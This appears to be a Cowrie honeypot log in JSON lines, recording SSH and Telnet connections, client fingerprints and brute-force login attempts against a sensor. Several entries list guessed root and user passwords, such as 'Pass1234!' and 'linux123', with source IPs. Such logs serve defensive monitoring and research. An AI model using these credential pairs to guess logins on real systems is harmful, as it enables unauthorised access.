{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:27.100494Z","src_ip":"111.32.153.180","session":"24dad6a04e64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"magneto","message":"login attempt [root/magneto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:28.147896Z","src_ip":"111.32.153.180","session":"24dad6a04e64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:29.403276Z","src_ip":"111.32.153.180","session":"24dad6a04e64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":49408,"dst_ip":"159.203.135.109","dst_port":23,"session":"9261e97a2cc2","protocol":"telnet","message":"New connection: 74.91.213.120:49408 (159.203.135.109:23) [session: 9261e97a2cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:29.426504Z"}
{"eventid":"cowrie.session.connect","src_ip":"220.205.122.34","src_port":36056,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b759336083a","protocol":"ssh","message":"New connection: 220.205.122.34:36056 (10.17.0.5:22) [session: 7b759336083a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:36.383219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:36.387537Z","src_ip":"220.205.122.34","session":"7b759336083a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:36.619699Z","src_ip":"220.205.122.34","session":"7b759336083a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:37.052738Z","src_ip":"220.205.122.34","session":"7b759336083a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":52232,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0f067cfeb7b","protocol":"telnet","message":"New connection: 74.91.213.120:52232 (159.203.135.109:23) [session: e0f067cfeb7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:37.958317Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":44868,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4a8cc4879c3","protocol":"ssh","message":"New connection: 45.61.187.220:44868 (159.203.135.109:22) [session: a4a8cc4879c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:39.712774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:39.722617Z","src_ip":"45.61.187.220","session":"a4a8cc4879c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:39.763781Z","src_ip":"45.61.187.220","session":"a4a8cc4879c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass1234!","message":"login attempt [root/Pass1234!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:39.977193Z","src_ip":"45.61.187.220","session":"a4a8cc4879c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:41.030559Z","src_ip":"45.61.187.220","session":"a4a8cc4879c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.156256437301636,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:47.002623Z","src_ip":"74.91.213.120","session":"2112a1bffe48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.163.125","src_port":40084,"dst_ip":"159.203.135.109","dst_port":22,"session":"1452c12a13cd","protocol":"ssh","message":"New connection: 66.113.163.125:40084 (159.203.135.109:22) [session: 1452c12a13cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:50.933439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:50.937737Z","src_ip":"66.113.163.125","session":"1452c12a13cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:50.973534Z","src_ip":"66.113.163.125","session":"1452c12a13cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:51.156575Z","src_ip":"66.113.163.125","session":"1452c12a13cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:52.195181Z","src_ip":"66.113.163.125","session":"1452c12a13cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.0.200.227","src_port":47330,"dst_ip":"159.203.135.109","dst_port":22,"session":"34857fb3b1fc","protocol":"ssh","message":"New connection: 107.0.200.227:47330 (159.203.135.109:22) [session: 34857fb3b1fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:58.509269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:58.514392Z","src_ip":"107.0.200.227","session":"34857fb3b1fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:58.549619Z","src_ip":"107.0.200.227","session":"34857fb3b1fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vertica","message":"login attempt [root/vertica] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:58.714437Z","src_ip":"107.0.200.227","session":"34857fb3b1fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:29:59.750928Z","src_ip":"107.0.200.227","session":"34857fb3b1fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.131784439086914,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:00.558163Z","src_ip":"74.91.213.120","session":"9261e97a2cc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.49","src_port":60672,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7024bdcb4e5","protocol":"ssh","message":"New connection: 81.192.46.49:60672 (159.203.135.109:22) [session: a7024bdcb4e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:04.849241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:04.854084Z","src_ip":"81.192.46.49","session":"a7024bdcb4e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:04.971412Z","src_ip":"81.192.46.49","session":"a7024bdcb4e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123321","message":"login attempt [root/abc123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:05.466672Z","src_ip":"81.192.46.49","session":"a7024bdcb4e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:06.586438Z","src_ip":"81.192.46.49","session":"a7024bdcb4e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.271827459335327,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:08.230028Z","src_ip":"74.91.213.120","session":"e0f067cfeb7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.191.96.70","src_port":47706,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f9aa931cb60","protocol":"ssh","message":"New connection: 92.191.96.70:47706 (10.17.0.5:22) [session: 4f9aa931cb60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:23.344735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:23.349497Z","src_ip":"92.191.96.70","session":"4f9aa931cb60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:23.476894Z","src_ip":"92.191.96.70","session":"4f9aa931cb60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ansadmin","message":"login attempt [root/ansadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:24.010216Z","src_ip":"92.191.96.70","session":"4f9aa931cb60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.27.7.160","src_port":55656,"dst_ip":"10.17.0.5","dst_port":22,"session":"6516a32ade56","protocol":"ssh","message":"New connection: 37.27.7.160:55656 (10.17.0.5:22) [session: 6516a32ade56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:24.486659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:24.491665Z","src_ip":"37.27.7.160","session":"6516a32ade56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:24.606353Z","src_ip":"37.27.7.160","session":"6516a32ade56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:25.138255Z","src_ip":"92.191.96.70","session":"4f9aa931cb60","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:76:44:32:c6:32:97:04:4b:f0:da:5a:a8:69:bc:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCk4WCPK54cLDOVzbvp4XiwOMpUv0edCNnOCdlI66J1Evvk1/O3tt9IkVrzFgI2Jwbqt5NctiWfiDtDkYg4qEAnVZChSrUJngb+JM/WUtPXjvSk3KnaxS4MfVuaR6h8X5YGBgImLl0/F6+wIFgMV6GG1b2k7bD/TlEb7kszq/QQ2ry7hFUTAZKayivh4N7nvqfAfXYC8UbX79uxji8CR4vkIKco1eULka4h+U3+1aSr2lNcPEdQtTK+lTJqJg7S0WjLwJAE0QwlR34fX/jE+xybe3PUA6LOtYruG6jU0PZ3asa3qRrT/q8YwwwZAMIQcDfJasKLf0Au2lWScMru84RR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:76:44:32:c6:32:97:04:4b:f0:da:5a:a8:69:bc:7e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:30:25.143798Z","src_ip":"37.27.7.160","session":"6516a32ade56","protocol":"ssh"}
